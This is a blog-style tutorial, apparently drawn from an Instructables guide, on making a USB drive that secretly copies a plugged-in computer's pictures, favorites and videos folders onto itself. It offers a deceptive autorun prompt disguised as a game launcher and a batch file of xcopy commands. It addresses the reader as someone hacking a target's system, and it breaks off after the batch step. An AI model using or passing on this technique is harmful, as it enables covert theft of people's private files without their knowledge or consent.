Do you want to feel spy-like? How about we tell you how to configure a USB drive so that it automatically copies the files (silently) from the computer it is plugged in? The following guide from instructable does that; it teaches you how to make a USB drive that features 5 files and is capable of automatically copying the user’s favorites, pictures and video folders to itself.
1. Materials Needed
The materials that you will need are listed below.
Flash/thumb drive (8 GB) – $25.00.
A computer you can use to configure USB.
The targeted computer.
The USB drive size depends on what kind of data you’re planning to pick up. The bigger the better is totally applicable over here folks.
2. Create An Autorun File For The Flash Drive
There is no particular order in which these files need to be created. Just ensure that you do create all of these files before trying out the USB. The first step is creating the autorun.inf file. This file will be used right away when you insert the USB into a computer. and will also allow you to change the thumb drive icon into something that is more likely to get clicked upon.
Open a new word file and copy the following code,
action=Click ok to Run game for Windows
Once you save the file, make sure you select the ‘save it as all files’ option. If you wish to change the drive icon, simply find a .png file and name it to drive.ico. Next time when you plug the USB in, the thumb drive’s icon will be the image file. Moving on in the code, the next line is ‘open=command’. This code line launches the batch file. The next line is of action and basically is what the prompt will read to the user whose system you’re trying to hack. The shell/open command acts as a backup in case the user clicks on cancel instead of opening when prompted. The code will execute as soon the drive letter is clicked on.
3. Make A File To Initiate Copying Of Data
This is the heart of your DIY USB and as before, you will have to copy the code in a word file and save it as file.bat. The code is as follows,
set backupcmd=xcopy /s /c /d /e /h /i /r /y
%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”
%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”
You can change the code to pick up the music files by changing it to %backupcmd% “%USERPROFILE%\music” “%drive%\all\music”.
Continue reading ahead.